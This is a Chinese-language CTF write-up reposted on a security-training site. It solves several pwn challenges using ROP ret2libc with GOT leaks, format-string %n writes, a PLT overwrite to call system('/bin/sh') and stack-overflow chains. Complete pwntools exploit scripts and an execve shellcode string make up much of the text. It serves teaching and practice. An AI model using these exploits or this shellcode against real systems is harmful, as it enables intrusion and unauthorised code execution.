当前位置:网站首页 > 网络安全培训 > 正文

PWN的一些trick

freebuffreebuf 2021-09-08 325 0

本文来源:星云博创

最近刷了一些pwn题,攻防世界 、蓝帽杯等等,发现提升CTF的最快方法还是刷题,刷题,刷题。此篇文章涉及到的知识点:64位rop解体流程、格式化字符串的基本原理和一些利用方式以及如何改写plt。

0x0:pwn-100

64位程序

v2-28b603b058d7bc1bac21c421d3d737f4_1440w.png

发现前两个函数标准输入输出,然后我们来看一下第三个函数,发现里面又套了一层函数

v2-ee768a3d82eb78ac0069b4cd6eeedfea_1440w.png

v2-599e79954693931df87b704ddcbb328c_1440w.png

栈空间大小为40,我们可以把这个sub_40063D函数当成read函数

这个的意思就是

v2-2e5f94638525c6199b67e2f0c8bdbf79_1440w.png

v2-0bf553d6985d7eac474c10b06e724fa4_1440w.png

v2-91db0528cc520d02300327324c1ff7f7_1440w.png

v2-f1a358c32afdc6573cde3f804c9193fa_1440w.png

修改edi的目的达成,直接call put的指令的意思就是打印

put的plt地址意味着调用put函数,put函数的参数存放再rdi中 rdi此时是got[put]

打印got表put函数的地址

v2-3ea449f24a8bda6f1605d8866d1c77f8_1440w.png


from pwn import * from LibcSearcher import LibcSearcher #导入libcsearcher来搜索此执行程序使用的哪个got表 #一种got表对应一种libsearcher context.log_level  =  'debug' io = process('./6') io = remote('111.200.241.244',57644) elf = ELF('./6') payload = b'b'*0x48+p64(0x0000000000400763)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x00000000004006B8) #分析一下这个payload,首先栈溢出,然后加上pop rdi 的地址,在接上got表中的puts,plt是运行puts函数,最后再接上main函数地址 #got表中的puts是一串地址 io.sendline(payload.ljust(200,b'b')) #题目中写明了for循环必须要200字符串 #print(io.recv()) io.recvuntil('\n') got_put_addr =  u64(io.recv().split(b'\n')[0].ljust(8,b'\x00')) print(got_put_addr) #利用got表中的puts函数算出got表中其他函数的相对偏移 libc_obj = LibcSearcher('puts', got_put_addr) libc_base_addr = got_put_addr - libc_obj.dump('puts') system_addr = libc_base_addr + libc_obj.dump("system") str_bin_sh = libc_base_addr + libc_obj.dump('str_bin_sh') payloads = b'b'*0x48+p64(0x0000000000400763)+p64(str_bin_sh)+p64(system_addr) io.sendline(payloads) io.interactive() #p64(0x0000000000400763) =rdi

v2-b7fde7d872e43f076c13ce22911b9d9a_1440w.png

p64(0x0000000000400763)+p64(elf.got['puts']) 把got表中的puts传送给rdi

0x1:lanmao分区pwn

首先checksec一下,发现保护全开

v2-f6eafaf5f18e6fa0c71dd45e0fe410c9_1440w.png

然后我们用ida打开

v2-8a8f575809e2fa03ef9c23fafd8eb23a_1440w.png

我们在这里发现了一个格式化字符串漏洞

用one_gadget查看glibc自带的后门函数地址

v2-aaf4ad483cca1ffd5b79ea166fbe7212_1440w.png

这道题的思路:

首先我们利用print函数来算出野指针到s的地址,然后算出s到ret的地址,加和算出一共的%p,我们把ret函数返回到one_gadget泄露got表的后门地址

0x2:格式化字符串进阶

v2-236795621bf76ea447ac75cdc0eac4d4_1440w.png

  • 第一个函数

v2-a01d86fc806c4c9f16de265b7662f098_1440w.png

  • 第二个函数

v2-5bb1526f088106a3e27144ab5c30c72c_1440w.png

print(format)的作用就是格式化字符串,使得v4 = v3

  • 第三个函数

v2-df833e08a76b2aff43415d79e0083ae2_1440w.png

流程:

v2-a9b50b223297e290d44818798bc6ad60_1440w.png

v2-6e60e7e096a534b0aa697837a8792878_1440w.png

v2-df81711710bab6047285e62f6b9e4ccc_1440w.png

%85c%7p$n

v2-4d93c62dc74c696fe02eb9d767f7752f_1440w.png

这里算出来是8,指的是v3的地址,但是我们要在v2中写入东西,所以要减去偏移

输入up,east,1跳过第一个函数,进入第二个函数

下面我们进行exp的编写:

v2-2b20c0ff76cf5aae009e6aaf896f884b_1440w.png

shellcode写在这里

64位的shellcode:

"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

from pwn import * context.log_level = 'debug' io = remote('111.200.241.244',53443) io.recvuntil('is') a=io.recvuntil('\n')[:-1] b=int(a,16) print(a) print(b) io.sendlineafter('What should your character\'s name be:','1') io.sendlineafter('So, where you will go?east or up?:','east') io.sendlineafter('go into there(1), or leave(0)?:','1') io.sendlineafter('Give me an address',str(b)) #p64()格式是写入内存,机器码识别,但是此题是写入栈中的变量中,直接字符串格式就行(也就是v2) #aaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p io.sendline('%85c%7$n') io.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05") io.interactive()

v2-841fed75ea200fb0671462dba5b06098_1440w.png

0x3:格式化字符串入门 CGfsb  %n

格式化字符串漏洞入门利用%nv2-3f6a2a2ea0afb95aef8f6d5f881efd43_1440w.png

v2-ae410183c65265fb12cbaadd82d34b0b_1440w.png

v2-a3f5df55e7600e708d3fcd2d723e5a53_1440w.png

算出第10个偏移是野指针的地址

v2-1c9d92ce7dfa919fcef4033e61170085_1440w.png

这里进行验证,确实是第十个,

接下来写exp

from pwn import * context.log_level = 'debug' io = remote('111.200.241.244',55751) io.sendline('de') payload = p32(0x0804A068)+b'aaaa'+b'%10$n' io.sendline(payload) io.interactive() #aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p


payload = p32(0x0804A068)+b'aaaa'+b'%10$n' payload格式是这个,前面是要修改的地址,用字符补全,再用%10$n打进去

v2-82db94b7de3976d35f290da1b7810164_1440w.png

0x4:cover蓝帽杯半决赛1 改写plt

首先checksec一下,发现是32位程序,No PIE

v2-9d5f3e102b94064aae0ea3795b3bd188_1440w.png

v2-760c60f0a00f8ff533b954250a5e8d5a_1440w.png

v2-f8c948c181b964ecac86ea62d54937cc_1440w.png

v2-5f27e5461b0d811f47691082dfb47290_1440w.png

from pwn import * sh=process('cover') sh.recvuntil('\n') sh.send(p32(0x80484d0+2)+b'\x24') #此题的关键就是在这里,0x80484d0是plt中puts函数的地址,+2就是关键所在 #然后直接改成x24就是改成了system,然后在接上一个/bin/sh sh.sendline('/bin/sh') sh.interactive()

v2-851351b187e4c1128909dcb67d80a3ef_1440w.png

v2-cf5e5310d5917516d085d1966e458ca5_1440w.png

0x5:栈溢出反应釜开关控制

首先checksec 一下

v2-0fca31989f7562c761168e9ef4620816_1440w.png

v2-42ce6f46cb35383616e4d1d2a300de5d_720w.png

解题思路:

套了三层循环,每进入一层循环需要输入地址,我们只能一边调一边进入

v2-d92f40332e161896391d724fe26cedc9_1440w.png

  • 进入第一个函数的地址
from pwn import * context.log_level = 'debug' #io  = process('10') io = remote('111.200.241.244',56649) payload1= b'a'*(0x100+0x8)+p64(0x4005f6) payload2= b'a'*(0x180+0x8)+p64(0x400607) payload3= b'a'*(0x200+0x8)+p64(0x00000000004006B0) io.sendlineafter('>',payload3) io.recv()
  • 进入第二个函数的地址

v2-d60327eb124d26fd4f7a1abc1fca21a0_1440w.png

  • 第三次的地址

v2-a2cf96b357359954d82120c3e098b1cf_1440w.png

最终exp:

from pwn import * context.log_level = 'debug' #io  = process('10') io = remote('111.200.241.244',56649) payload1= b'a'*(0x100+0x8)+p64(0x4005f6) payload2= b'a'*(0x180+0x8)+p64(0x400607) payload3= b'a'*(0x200+0x8)+p64(0x00000000004006B0) io.sendlineafter('>',payload3) io.recv() #io.sendline('a') io.sendline(payload2) #io.recv() io.sendline(payload1) #io.recv() io.interactive()

v2-eeebbe852db24b6aef27309a38126bac_1440w.png

0x6:小结

pwn的解题对选手的内存、C语言、汇编语言底层功底要求很高,在学习过程中一定不用求快,需要扎实的学习。这样才能更快的解题。

转载请注明来自网盾网络安全培训,本文标题:《PWN的一些trick》

标签:pwn

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表